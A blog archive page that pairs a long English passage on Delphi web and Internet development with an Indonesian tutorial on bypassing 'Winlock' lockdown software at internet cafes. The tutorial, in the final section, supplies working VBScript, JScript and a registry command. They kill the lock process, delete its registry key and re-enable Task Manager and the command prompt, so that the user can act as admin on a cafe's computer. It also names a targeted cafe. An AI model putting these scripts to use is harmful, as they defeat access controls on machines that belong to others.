server side. This can be done again with the generic socket
components mentioned above, but its generally
accomplished by using protocol-specific Delphi
components provided by third parties, some of which are
even pre-installed in the Delphi IDE.
• Support the HTTP protocol, the core of the Web, and the
HTML file format. As these play such a major role, I’ll
cover them separately from the other protocols.
The support for TCP/IP and socket programming in Delphi is
as powerful as using the direct API (Winsock, in case of the
Windows platform) but far simpler. The socket components, in
fact, shield the programmer from some of the complex technical
details, but surface the Windows handles and low-level APIs,
allowing for custom low-level calls.
Writing simple programs with socket support in plain C calling
the Windows APIs requires hundreds of lines of code, while
using the Delphi socket components, a few lines of code will
suffice, even for complex tasks. That’s the standard advantage of
component-based development. Also, building a simple user
interface for the program is often trivial in Delphi. With other
development environments, you need to program the socket in a
low-level language (such as C) and then write the user interface
with a different visual tool, integrating the two and requiring
knowledge of multiple languages.
Delphi
4
Client Side Protocols Support
To develop the client side of Internet applications, Delphi
provides you ready-to-use components. There are multiple sets
of native VCL components you can adopt, all based on a similar
philosophy:
• The NetMaster components are pre-installed in the Delphi
environment (see the FastNet page of the component
palette), and include client-side support for the most
common Internet protocols (including POP3, SMTP,
NNTP, FTP, and HTTP).
• The Indy open source components (“Internet Direct”,
previously called WinShoes and now “federated” with the
Jedi Project) are available on Delphi 5’s Companion CD and
from their web site (http://www.nevrona.com/indy). It has
been announced that Indy will be included by default in
Delphi 6 and Kylix (Delphi IDE for the Linux platform).
• The free ICS components (“Internet Component Suite”,
available at http://users.swing.be/francois.piette/icsuk.htm,
include the complete source code) and are designed and
maintained by Francois Piette and form another set of very
popular Delphi components, supporting most Internet
protocols.
• A few other commercial offerings, including IP*Works
components (http://www.dev-soft.com/ipwdlp.htm) and
Turbo Power’s Internet Professional
(http://www.turbopower.com/products/IPRO/).
Some of these components map directly to their own WinSock
wrappers, others also use the WinInet library, a Microsoft system
DLL that implements support for the client side of FTP and
HTTP protocols. Regardless of the set of components you are
going to use, they are really quite simple to work with. If you
have an existing application, and want to mail-enable it, just drop
a couple of components onto your form (or data module), set
their properties (which include the indication of the mail server
you want to connect with) and write few lines of code.
For example, to send email with NetMaster’s component, you
can use the following simple code:
// component properties
object Mail: TNMSMTP
Host = ‘mail.server.com’ // your web
service
Port = 25
PostMessage.FromAddress =
‘marco@marcocantu.com’
end
// code to send the above email
message
Mail.PostMessage.ToAddress.Add
(‘davidi@borland.com’);
PostMessage.Subject := ‘Borland
Community Site’;
PostMessage.Body.Add (‘Hi David, I
wanted to ask you…’);
Mail.Connect;
Mail.SendMail;
Mail.Disconnect;
In short, these are the advantages of using Delphi for supporting
Internet client applications:
• Choice among various offerings of components (some of
which are totally free and open source)
• Easy integration with existing applications
• Easy development of new and specific user interfaces, with
Delphi visual and object oriented architecture
Server Side Protocols Support
Besides supporting web protocols in existing applications, or
writing custom client programs specifically for them (as a
completely custom email program), in a corporate environment
you often need to customize Internet server applications. Of
course, many of the available pre-built servers can be used and
customized, but at times you’ll need to provide something that
existing programs do not support.
In that case, you might think of writing your own server, if only
it wasn’t so complex. Using Delphi and a set of server side
components you can build custom servers with only limited
extra effort, compared to a client program, and achieve (or at
times exceed) the performance of professional quality Internet
server programs.
Server side components were pioneered by Jaadu
(http://www.jaadu.com), which offers a web server component
and are now available in the Indy component set (discussed
above). There is also a set of highly optimized native Delphi
Delphi
5
components, called DXSock (http://www.dxsock.com),
specifically aimed at the development of Internet server
programs. Some of the demonstrations of these component sets
are actually full-fledged HTTP, mail, and news servers.
Client Side Web Support
If many Internet protocols are important, and email is one of the
most commonly used Internet services, it is undeniable that the
Web (that is, the HTTP protocol) is the driving force of most of
the Internet development. Web support in Delphi is particularly
rich. Here, we are going to start by exploring the features
available on the client side (to integrate with existing browsers)
and then we’ll move to the server side, devoting plenty of time
to the Web server development that you can do with Delphi.
• The HTTP components available in most suites allow you
to create a custom browser within your application: You can
reach existing Web sites and retrieve HTML files or post
custom queries. At this point you can send the HTML
content returned by the HTTP server to an existing browser
or integrate a custom HTML processor or HTML viewer
within your application. The ways in which can apply are as
follows:
• Sending an HTML file to Microsoft’s Internet Explorer or
Netscape Navigator, either using it as an external
application, by calling the ShellExecute API function:
ShellExecute (Handle, ‘open’,
‘c:\tmp\test.htm’, ”, ”,
sw_ShowNormal);
or integrating the Internet Explorer ActiveX control,
surfaced in Delphi as the ready-to-use WebBrowser
component.
• Processing HTML in a custom way, to extract specific
information; this is useful in case you don’t need to show
the HTML to a user, but want to process it, eventually
extracting specific information from it.
• Showing the HTML within your program using a native
Delphi component (so that end users don’t need to have
Internet Explorer installed). These components are available
by third parties, with the most well known HTML viewer
component being offered by David Baldwin (see the Web
site http://www.pbear.com).
The reverse of integrating a browser within your application, you
can integrate your application within the browser. This is rather
easy to accomplish by using Internet Explorer and the ActiveX
technology. Delphi supports this technology in full using the
ActiveForm technology. An ActiveForm is built in the same
visual way that a plain Delphi form is constructed, but an
ActiveForm is hosted within an HTML page of Internet
Explorer. You can even move existing programs to the Web by
hosting their main form within an ActiveForm.
Figure 2: An example of a wizard built with Delphi (it is
based on a PageControl component) and deployed within
an ActiveForm. The buttons allow you to reach different
pages of the form, without moving outside of the browser’s
page.
This Microsoft specific technology (ActiveX is not supported by
other browsers) can simplify the deployment of simple Delphi
applications within an Intranet, as users can download the
programs they need by pointing their browser to specific pages.
The ActiveX technology, however, is not well suited for the
Internet, as too many people have different browsers or
operating systems, or disable this feature in their browser for
Delphi
6
fear of the potential harm caused by the automatic execution of
programs that are downloaded from the Web.
• The advantage of Delphi in this area is that, once more, it
allows you to customize your existing programs to take
advantage of the Internet, and make them work seamlessly
with Web browsers. Also, if you choose not to use the
ActiveX technology, you won’t be tied to any particular
browser or platform.
Server Side Web Development
As anticipated, all the development related to Web servers is by
far the most important area of Internet development, and again
one where many alternative solutions are available. Delphi has
offered developers strong server side Web development since
version 3, with Delphi 5 being a mature environment for
building Web server extensions. Delphi includes multiple
technologies to support server side development, so I’m going to
cover:
• The HTML Producer components
• The WebBroker technology for building CGI, WinCGI, and
ISAPI/NSAPI server side extensions
• The Internet Express technology (introduced in Delphi 5)
for building database-oriented server side applications,
based on standard technologies such as XML and
ECMAScript (formerly known as JavaScript).
Generating HTML pages
Delphi includes several components aimed at the generation of
dynamic HTML pages. There are two different sets of producer
components, page-oriented and table-oriented ones. When you
use a page oriented HTML producer component, such as the
PageProducer, you provide the Producer component with an
HTML file with custom tags (marked by the # character). You
can then handle the OnTag event of the component to replace
these custom tags with specific HTML code.
The following is sample code for this OnTag event:
procedure
TFormProd.PageProducer1HTMLTag(Sender:
TObject;
Tag: TTag; const TagString: String;
TagParams: TStrings;
var ReplaceText: String);
var
nDays: Integer;
begin
if TagString = ‘date’ then
ReplaceText := DateToStr (Now)
else if TagString = ‘expiration’
then
begin
nDays := StrToIntDef
(TagParams.Values[‘days’], 0);
if nDays <> 0 then
ReplaceText := DateToStr (Now +
nDays)
else
ReplaceText := ‘<I>{expiration
tag error}</I>‘;
end;
end;
This code handles a plain tag, date, which is replaced with the
current date, and a parametric one, expiration, which includes a
parameter indicating the number of days the information on the
page remains valid. The HTML for this custom tag will look like:
Prices valid until <b><#expiration
days=21></b>
The output will be something like: “The prices in this catalog are
valid until 12/24/2000”, as you can see in Figure 3.
Figure 3: The HTML file generated by a PageProducer
component.
The advantage of this approach is that you can generate such a
file using the HTML editor you prefer, simply adding the custom
tags. Notice also that the same OnTag event handler can be
shared by multiple producer components, so you don’t need to
Delphi
7
code the same tag expansion multiple times within the same
program.
A second component of this group, DataSetPageProducer, can
automatically replace tag names with the values of the fields of
the current record of a dataset.
Another group includes HTML table oriented components. The
idea is to convert automatically a dataset (a table or the result set
of a query or stored procedure) into an HTML table. Although a
standard conversion is supplied, you can add custom tags and
styles for the grid, each of the columns, and even specific cells of
the table. The customization is similar to that which can be
applied to a visual DBGrid inside a Windows application. For
example, the following code turns all the cells of the second
column that have a value exceeding 8 digits red in color (with the
effect you can see in Figure 4):
procedure
TFormProd.DataSetTableProducer1FormatC
ell(
Sender: TObject; CellRow,
CellColumn: Integer;
var BgColor: THTMLBgColor; var
Align: THTMLAlign;
var VAlign: THTMLVAlign; var
CustomAttrs, CellData: String);
begin
if (CellColumn = 1) and (Length
(CellData) > 8) then
BgColor := ‘red’;
end;
Figure 4: The output of a DataSetTableProducer, with
custom colors for specific cells.
The second component, the QueryTableProducer is specifically
tailored for building parametric queries based on input from an
HTML search form. The parameters entered in the form are
automatically converted by the component into the parameters
of a SQL query and the resulting dataset is formatted in an
HTML table: all this complex work can be set up with no
custom coding!
Advantages
• You can write the basic HTML code with the editor you
prefer and simply include custom tags.
• You are not mixing scripting code with the HTML code,
but keep them totally separate. The HTML simply includes
a placeholder for the code that is going to be generated.
• The script is replaced by full-performance compiled code.
• Using this technique you can easily access database data,
and render the result of complex queries in HTML tables
with no custom coding!
Further Notes
The HTML producer components can also be used to produce
static web pages, that is plain HTML files that can be placed on
your web server and not server dynamically by a program.
Notice also that beside HTML files, Delphi programs can
produce JPEG files, using the TJPEGImage component. Again,
these files can be placed on a server or produced dynamically
from a server extension. The generation of images includes the
generation of the complex business graphs, available through the
native TeeChart components.
The WebBroker Framework
The development of Web server extensions (that is, custom
applications seamlessly integrated with a Web server) can be
based on multiple competing technologies, including:
• CGI (Common Gateway Interface, common on UNIX
boxes),
• WinCGI (the Windows flavor of the same technology),
Delphi
8
• ISAPI Internet Server API, libraries specifically tailored for
Microsoft’s own IIS) and NSAPI (the corresponding API
offered by Netscape’s web server),
• Apache modules (the same idea, but for the open-source
Apache Web server) – this standard is not currently
supported by Delphi, but Borland has revealed plans to
support it in Kylix, the project for a Linux version of
Delphi.
The problem with most of these technologies is that even if they
are all based on the HTTP protocol, the way you receive the
same information and make it available to the Web server
changes substantially. For this reason, Borland has built in the
VCL a small object-oriented framework, called WebBroker,
which removes those differences. You write all of your code
targeting a few generic base classes, and ask Delphi to provide
you a specific implementation for, say, CGI or ISAPI. This
means you can move your programs (even complex ones) from
one of these technologies to another simply by providing a
different project source code and a few lines of code.
• Once the “bridge” includes Linux based servers beside
Windows ones, the WebBroker technology will be able to
bridge a large variety of web servers on multiple operating
systems.
Not only does WebBroker provide a bridge among multiple
technologies, it also provides a lot of core routines and facilities,
to simplify server side development. For example, you can ask
for a specific value inside a query string by writing:
stringName := Request.QueryString
[‘Name’];
instead of having to parse a complex string yourself. This is just
one simple example, there are a great many timesavers within the
WebBroker architecture, to enable you to really speed up
development.
Consider also that the WebBroker architecture is generally used
in conjunction with the HTML producer components. The
development of a program which executes a query on a SQL
server, formats it using an HTML table, and returns it from a
server side application takes probably less than 20 mouse clicks
and almost no coding!
Figure 5: A query form like this one can be directly tied to
the parameters of an SQL query, via a QueryTableProducer
component and with almost no coding!
For example, if you have the following HTML file with a table
(shown in Figure 5), you can hook it with a script (called
CustQuery.exe) to process the request. This is the HTML code,
with a table having two input fields:
<html><head>
<title>Customer Search
Form</title>
</head>
<body>
<h1>Customer Search Form</h1>
<form
action=”/scripts/CustQuery.exe/search”
method=”POST”>
<table>
<tr><td>State:</td>
<td><input type=”text”
name=”State”></td></tr>
<tr><td>Country:</td>
<td><input type=”text”
name=”Country”></td></tr>
<tr><td></td>
<td><center><input
type=”Submit”></center></td></tr>
</form>
</body>
</html>
Delphi
9
Figure 6: The choices offered by Delphi’s Web Server
Application Wizard.
Now you can create a Delphi WebBroker application, using the
Web Server Application Wizard (see Figure 6), and choosing
CGI (or whatever technology you prefer). Inside the
WebModule Delphi will create and open for you, you can add an
action, by right-clicking on the Actions item of the Objects Tree
View (above in Figure 7) or using the add button or local
command of the resulting actions list editor (below in Figure 7).
You can open the action list editor double clicking on the
WebModule itself.
Figure 7: The actions of a WebModule can been seen in the
Objects Tree View (at top) and in the actions list editor (at
bottom). Their properties are set in the Object Inspector
(at left).
Set the action with the “/search” value in the PathInfo property.
This can be connected (using the Producer property) with a
QueryTableProducer component added to the data module. This
component, in turn, is hooked to a Query component, via its
Query property.
The Query component will be executed when the action is
invoked, passing to its Params the QueryStrings or
ContentStrings parameters of the WebRequest. This means that
Delphi will extract the values entered in the HTML input boxes
and copy them to the query parameters having the same name.
So, we can use a query like the following, with to parameters
having the same name of the input fields (see again the HTML
code above):
SELECT Company, State, Country
FROM CUSTOMER.DB
WHERE
State = :State OR Country = :Country
That’s all! Even with no Delphi code we’ve obtained an HTML
front end for a database search. By customizing the HTML table
output, attaching a style sheet, adding extra code for custom
processing, you can build a professional version of this program
within a few hours.
In short:
• WebBroker allows you a single source code solution for
multiple technologies: CGI, CGI-Win, ISAPI/NSAPI, and
also Apache Modules moving forward.
• Combined with the HTML producer components, your
server side applications can easily produced HTML pages,
particularly showing database data.
• Your WebBroker code will be portable to Linux with little
effort, once Kylix is released.
Supporting Microsoft’s Windows DNA
architecture
Besides talking about the WebBroker framework, and the
Internet Express technology I’ll discuss later, Delphi has a full
and high quality support for the entire Windows’s DNA
architecture (which will be superceded by the dotNet
architecture, but is probably going to remain in use for quite
some time). Delphi has traditionally been the first visual
Delphi
10
development environment to support ActiveX and MTS
technologies, even before Microsoft’s own visual tools provided
such support.
Not only this, but Delphi’s simplified and yet complete COM
support is still unparalleled in the industry. Based on this highquality
low-level COM support, Delphi provides support for
most COM-related technologies, such as Windows Shell
programming, Automation, Active Documents, ActiveX (and
also the Web-oriented ActiveForm technology I’ve already
covered), MTS and COM+, and many others.
Using Delphi you can write MTS object defining your business
rules and database integration code, provide a layer of ASPenabled
COM objects to generate HTML and user interface
elements, and wrap everything in ASP scripts (Microsoft’s Active
Server Pages technology). This corresponds to embrace
Microsoft’s proposal in full, with high quality support.
Giving this past track record, we can probably expect a future
release of Delphi to fully support COM+ (although I have to say
you can already write COM+ applications with Delphi 5, with a
little extra effort) and other emerging Microsoft standards.
In short:
• Delphi’s support for the Windows platform is complete,
including the support for the entire COM architecture and
the Windows DNA model.
• Delphi’s ability to write low-level COM code makes it
possible for you to target new standards without having to
wait for Borland support within the development
environment. You can hardly say the same for any other
visual tool.
• While fully supporting Microsoft technologies, Delphi
allows you to avoid the strong tie-ins you’ll end up with by
using Microsoft tools. With a little engineering effort, you
can build Delphi classes which can exposed their
functionality in a way suitable to Microsoft’s DNA
technologies (for example using the Delphi code inside
ISAPI servers and COM objects) and be able to port them
to other Web Servers and other platforms, such a Linux, by
providing a different wrapper to the same core code.
InternetExpress: XML, ECMAScript, and
DHTML
Delphi 5 has further extended the traditional Delphi offering in
the area of Internet development by providing a brand new
technology based on the most recent open standards.
InternetExpress is based on two key components:
• The XMLBroker component can convert an existing dataset
(using the MIDAS data stream format) into XML data. You
can convert the result of a query, an entire table, and use
any of the Delphi dataset components (those based on the
BDE, the dataset components based on Microsoft’s ADO,
or the native InterBase components), to provide data to the
XMLBroker and surface it on a web page.
• The MidasPageProducer component is a visual component
designed for HTML forms based on the data provided by
the XMLBroker. These pages, once made available in a
browser, not only allow a user to see the database data, but
have full support for editing, deleting, and inserting data in
the database.
The user interface construction becomes similar, in its
capabilities, to the common Windows user interfaces, although it
is a native Web application, capable of running in multiple
browsers with no need of any plug-in or custom extension. The
reason for this openness lies in the fact that the Internet Express
technology is based on open standards, these being:
• XML and an XML DOM
• ECMAScript (the official name of the JavaScript
technology), is the only scripting language supported by
most Web browsers, which can be used to customize the
user interface, apply simple input and editing rules on the
client side, make the user interface interact with the XML
data.
• Dynamic HTML and CSS (Cascading Style Sheets) allow the
development of a modern user interface within a browser,
avoiding a tie-in of graphical elements with the HTML and
the data rules. Quite the contrary, in fact, as the various
Delphi
11
elements (HTML code, business rules, SQL server access)
are kept well separate.
As mentioned earlier the InternetExpress architecture is based
on Borland’s MIDAS 3 technology. In its complete extensions,
the architecture has 4 separate layers (see Figure 8), these being:
Figure 8: The different layers of a multi-tier Internet
Express application.
• The SQL server (any of those supported by BDE, ADO, or
native components), eventually running on a separate
computer
• A MIDAS application server, which connects to the SQL
server, applies specific business rules, and provides the data
to the clients
• A WebBroker Web server extension, which ties to the Web
server, and converts the data received by the MIDAS server
into XML and provides a suitable HTML user interface
• The Web browser, which can be either Internet Explorer or
Netscape (or other complying with the standards) and can
run on any operating system
In the case of simpler projects, the picture can actually be
simplified by merging the MIDAS server and the XML producer
components into a single application. The advantage of the
overall architecture is that you also gain the benefits of the
MIDAS infrastructure, including a proper abstraction of the
business logic, transport independence (it can run on top of
TCP/IP, HTTP, DCOM, MTS, and CORBA), and resource
pooling (to share SQL server connections).
In practice, let me guide you through the steps you’ll need to
build a simple Internet Express front end for editing a simple
database table. The starting point is again the creation of a new
Web Server Application, using the wizard. In the web module
you can add an action (see again Figure 7 and the description of
the related example) and mark this action as the default action,
by setting its Default property to True. Now you need the
following components:
• An actual data set, such as a table or query component,
connected with a database (using BDE, ADO, or another
database access technology). The simplest solution is to use
a BDE Table (from the Data Access tab of the component
palette), setting its DatabaseName and TableName
property. You can use the sample DBDEMOS alias for the
DatabaseName property, and choose any of the available
tables (from the drop-down menu of the property)
• A data set provider component (from the MIDAS tab of
the component palette), hooked with the data set (Table1 in
this case) using its DataSet property
• An XML broker component (from the InternetExpress tab
of the component palette), hooked directly with the
provider (in a “single” tier approach) using its
ProviderName property
• A Midas Page Producer component (again from the
InternetExpress tab of the component palette), connected
with the default action of the web module by setting the
Producer property of the action
At this point you can open the Midas Page Producer (by double
clicking on it), and use its special editor to prepare the HTML
form. For example, you can add a data form, add into it a data
grid (connected with the XML broker) and a navigator (hooked
to the grid using the XMLComponent property).
Delphi
12
Figure 9: The editor MidasPageProducer component
within the WebModule of our InternetExpress application.
After these steps you’ll have a complex data module. To
summarize its key options, I’m going to list the textual version of
its DFM file, an internal Delphi file that reflects the result of
visual development actions. You won’t ever need to type this
code, it is just a summary on the visual setting done in the
Object Inspector, very useful for reference and documentation
purposes. You can view your own WebModule this way by right
clicking on it and then selecting “View as Text” command.
You’ll see more code than that listed here, as I’ve extracted form
the textual definition of this DFM file only its key elements:
object WebModule1: TWebModule1
Actions = <
item
Default = True
Name = ‘WebActionItem1’
PathInfo = ‘/MidasPageProducer1’
Producer = MidasPageProducer1
end>
object Table1: TTable
Active = True
DatabaseName = ‘DBDEMOS’
TableName = ‘country.db’
end
object DataSetProvider1:
TDataSetProvider
DataSet = Table1
end
object XMLBroker1: TXMLBroker
ProviderName = ‘DataSetProvider1’
WebDispatch.PathInfo =
‘XMLBroker1’
end
object MidasPageProducer1:
TMidasPageProducer
HTMLDoc.Strings = (…)
IncludePathURL = ‘/include/’
object DataForm1: TDataForm
object DataGrid1: TDataGrid
XMLBroker = XMLBroker1
end
object DataNavigator1:
TDataNavigator
XMLComponent = DataGrid1
end
end
end
end
Notice you have to remember to set the IncludePathUrl
property of the Midas Page Producer to a URL referring to a
directory where the browser can find the required JavaScript
files. Otherwise the browser will show an error message, and no
data.
Figure 10: The InternetExpress application we have just
built inside a browser (in this case Microsoft Internet
Explorer)
This is all! At this point you’ll have a complete application,
allowing a user not only to see the data inside a browser (any
browser!) but also to edit the data and send it back to the server,
to be posted to the database. See Figure 9 for an example. And,
again, with no coding required we’ve only chosen the basic
options, but with some study (one of the few references,
although limited on this regard, is my own book “Mastering
Delphi 5”) and effort you can build sophisticated program, with
a modern browser-based UI.
Delphi
13
In short:
• With Delphi InternetExpress architecture you can extend
MIDAS multi-tier applications with a browser-based user
interface. Relying on HTTP, XML, and ECMAScript, the
architecture is not tied to any browser or operating system,
which differs from other equally powerful solutions.
• Developing a simple front end for you business data with
InternetExpress is really a very fast and completely visual.
Even without knowing all the core technologies of the
architecture, you can still easily write fully functional and
professional-looking web sites.
Third-Party Web Server Extensions
Besides using Borland’s own InternetExpress technology, you
can use Delphi with some third party components and tools,
which support the development of HTML-based server side
applications with different approaches. There are many tools in
this category, so I’m just mentioning the most popular ones, and
not trying to offer a complete picture.
• HREF (http://www.href.com) offers the popular WebHub
framework, an advanced technology for manipulating
HTML snippets and create Web content based on database
data. WebHub is capable of handling user sessions, separate
the code development from the server side technology used,
and helps developers to move to a proper Web-centric
approach, instead of adapting existing Windows user
interfaces to the Web.
• Nevrona Design offers ND-IntraWeb
(http://www.nevrona.com/intraweb) which follows an
opposite approach: Using a series of custom user interface
components it allows you to build a user interface which
can work equally well inside a Windows program or a Web
browser.
• Marotz Delphi Group offers ASP Express
(http://www.asp-express.com) offers a set of components
designed to encapsulate and simplify the development of
Windows DNA applications. It uses ASP, MSXML, COM,
and other technologies, making it easier to combine
everything with Delphi code.
In short:
• Custom server side solutions provide ready-to-use complex
frameworks for the development of your applications with
Delphi. Some of these technologies have been successfully
used for the development of large and complex web sites.
• Similarly to the use of components wrapping server side
protocols, you can have full control of the entire software
on your web server, with no risk of others people bugs
creeping into your system.
Delphi in Action on the Internet
Delphi’s capabilities in the area of Internet and Web
development can be discussed by their technical merit, as I’ve
done in this paper, but can also be evaluated based on their
success. Delphi is used for the development of many Internetproducts,
ranging from simple shareware utilities to huge ecommerce
Web sites. Although the press is all about other
languages and environments, Delphi has found its inroads in the
Internet era, and is in widespread use right now.
Borland provides a long list of success stories (see
http://www.borland.com/about/cases and
http://www.borland.com/delphi/cases), but there are a few
worth highlighting. Among the web sites powered (at least for
the database oriented portions) by Delphi there are:
• Autobytel.com, a US on-line car dealer
• The National Trust (http://www.nationaltrust.org.uk), a
UK organisation for preserving historical buildings
• iVillage.com, the women’s network web site
• Dulux Trade Paints (http://www.dulux.com), a web site for
choosing paint colors
• CalJobs (http://www.caljobs.ca.gov), the State of California
Internet system for linking employer job listings and job
seeker resumes.
• Travel.World.Net, a complete travel services management
system by Australian World.net.
Delphi
14
Speaking of Internet utility programs, almost half of the
Internet-related shareware programs on the market are built with
Delphi. Some worth mentioning, taken from different categories,
are:
• The powerful email manager The Bat!
(http://www.ritlabs.com) and the freeware mail client Mail
Warrior (http://pages.infinit.net/kaufman), top rated in
many software web sites
• The acclaimed HTML editor HomeSite
(http://www.allaire.com/homesite)
• The MERAK Mail Server (http://www.icewarp.com)
• Two of the most popular IRC clients, Pirch
(http://www.pirchat.com) and Virc
(http://www.megalith.co.uk/virc/)
There are also newsgroup readers, FTP front ends, XML editors,
chat programs, and applications for the client and the server side
almost any possible Internet protocol.
Another area of success in Delphi development is the creation of
high-quality ASP components. Among the most popular ASP
add-ons mentioned on Microsoft’s web site
(http://msdn.microsoft.com/workshop/server/components/ca
talog.asp) there are quite a few written in Delphi, including the
ASP components written by Dimac (http://www.dimac.net) and
including the popular JMail component, described as “the
leading SMTP-component for ASP-coders”.
You can find a rather complete (albeit unofficial) list of Internet
applications and Web sites powered by Delphi on the “Built with
Delphi” area of the Baltic Solution web site
(http://www.balticsolutions.com/bwd).
Conclusion: The Delphi Advantage
After this long detailed paper it is not easy to summarize in only
a few words why you should use Delphi as a core Web
development tool, within your organization. I can certainly say
that Delphi delivers fast-performance applications built with a
rapid development environment for Windows and the Web. It
has optimal Client/Server support and the ability to write goodquality
object-oriented code, both for the building of a complex
application structure and also to delve deep into low-level
programming tasks.
A great tool for the entire Internet needs of any organization.
And a tool you can use today on the Windows platform and get
ready to extend to the Linux operating system with a visual and
high-performance development environment, the ideal solution
for all those who like programming “The Delphi Way”.

Published in: on 24 January 2010 at 5:45 pm  Leave a Comment  
Tags:

Hacking Winlock Warnet With Script

18 November 2009
Penulis: suicidal · Kategori Artikel: Tutorial

<!– –> Binus Hacker Sponsor Banner <!– –>

Tutorial Iseng Di Warnet Versi Winlock

Okey, Pasti semua udah tau winlock itu apa kan ?

Kalo blom tau search aja di google yah..

Ya intinya sih winlock itu digunakan buat mengurangi akses kita terhadap komputer tersebut.

Misalkan, gak bisa download atau gak bisa buka Drive di komputer tersebut.

Contohnya aja Net E*ph*ria / L*ghT*o Net di Jalan Kampus Anggrek-Syahdan.

Dan Masih banyak lagi warnet-warnet yang menggunakan aplikasi ini.

Disini saya cuma mau sharing aja pengalaman saya menjadikan diri sebagai admin winlock tersebut. Jiahahahah.

Sebenernya sudah saya tulis di website pribadi / blog saya, Cuma gak ada salahnya kan buat sharing disini ? heheheh..

OK. Yang dibutuhin cuma 1. Notepad / Wordpad.

ikirkan gimana caranya buat buka notepad tersebut. Banyak caranya.

Dari sound device pun bisa buka notepad. Dan langganan saya buat buka notepad/wordpad sih pake Lagu Gratisan dari windows itu loh, yang di sample music. hahaha..

Ya tinggal save as – pilih desktop – terus save dengan ekstensi .txt / .doc deh..

OK langsung aj yah, udah dibuka notepad/wordpad ?

Usahakan cek dulu ada deepfreeze atau kagak.

Kalo ada deepfreeze kan bisa ngilangin jejak deh dengan restart komputer.

Dan kalo gak ada deepfreeze musti ikutin cara kedua ntar.

Copy script ini

strComputer = “.”
Set objWMIService = GetObject(”winmgmts:” _
& “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2″)
Set colProcessList = objWMIService.ExecQuery _
(”Select * from Win32_Process Where Name = ‘winlock.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next


Const HKEY_CLASSES_ROOT = &H80000000

strComputer = “.”

Set objRegistry=GetObject(”winmgmts:\\” & _
strComputer & “\root\default:StdRegProv”)

strKeyPath = “CLSID\{D1A17367-4546-PRT8-6A19-11OO4FFI823O}\ProgID”
strValueName = “ID”

objRegistry.DeleteValue HKEY_CLASSES_ROOT, strKeyPath, strValueName

Dan save pake ekstensi .vbs (VBScript) dan klik 2x aja buat menjalankannya.

Sebenernya itu 2 script yang dijadikan 1 karena kesamaan ekstensi.

Keterangan :

Script 1 : Buat kill winlock.exe, karena biasanya task manager di disable kan ?

Script 2 : Buat delete key “ID” Winlock di regedit yang berada di CLSID\{D1A17367-4546-PRT8-6A19-11OO4FFI823O}\ProgID

OK. Sekarang step 2. (AKTIFKAN TASK MANAGER)

Kenapa pake aktifkan TASKMGR? Karena disini kita bakal aktifin cmd (Command Prompt).

Kalo taskmanager / startnya gak didisable, bisa langsung aja buka commandprompt di accesories.

Dan coba aja windows+R, kalo bisa, ya langsung aj copy script aktifkan command promptnya dibawah.

/// Program Ramping Mengamankan Task Manager
// Nama Program: tsk_mgr.js
function prakata(pesan)
{
natan.popup(pesan,0,”Menjaga Task Manager”);
}
function catat(harga)
{
natan.RegWrite(”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion”+
“\\Policies\\System\\DisableTaskMgr”,harga,”REG_DWORD”);
}
var vbYesNoCancel = 3, vbYes = 6, vbNo = 7, harga, pesan, tanya, natan;
natan = WScript.CreateObject(”WScript.Shell”);
pesan = “Menu Pilihan :\n\n”+
“Klik [Yes] untuk Nonaktifkan Task Manager.\n”+
“Klik [No] untuk Aktifkan Task Manager.\n”+
“Klik [Cancel] untuk Keluar.\n\n”+
“[+] http:www.suicidalizm.co.cc [+]\n\n”+
“NonAktifkan Task Manager sekarang?”;
tanya = natan.popup(pesan,0,”Menjaga Task Manager”,vbYesNoCancel);
if (tanya == vbYes)
{
harga=1;
pesan=”Task Manager DiNonAktifkan! visit http://www.suicidalizm.co.cc”;
catat(harga);
prakata(pesan);
}
else if (tanya == vbNo)
{
harga=0;
pesan=”Task Manager DiAktifkan! visit http://www.suicidalizm.co.cc”;
catat(harga);
prakata(pesan);
}
else
{
pesan=”visit http://www.suicidalizm.co.cc”;
prakata(pesan);
}

Save dengan ekstensi .js dan jalankan, lalu pilih NO buat mengaktifkan task manager.

Lalu buka task manager (ctrl+alt+del) – Pilih tab users – Klik menu File – Pilih Run – Lalu copy paste script ini di situ

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f

Ini fungsinya buat mengaktifkan command prompt.

Lalu dengan cara yang sama, ketik cmd untuk membuka command prompt.

Setelah masuk command prompt, Silahkan cari dimana folder winlock berada.

Misalkan berada di folder C:\program files\winlockpro

Ketik C: lalu enter Ketik cd program files lalu enter

Ketik cd winlockpro lalu enter

Dan ketik winlock.exe lalu enter

TADA… sekarang anda winlock baru pun sudah berjalan, dan silahkan shutdown/kill winlock.exe yang baru biar gak mengganggu.

Sekarang anda bebas mau ngapain aj. Mau Download/Colok USB/dll pokoknya bisa deh. Kan udah jadi admin =p

Best regards.

suicidal

Novrizal Zuhri

Published in: on 24 January 2010 at 5:41 pm  Leave a Comment  
Tags: ,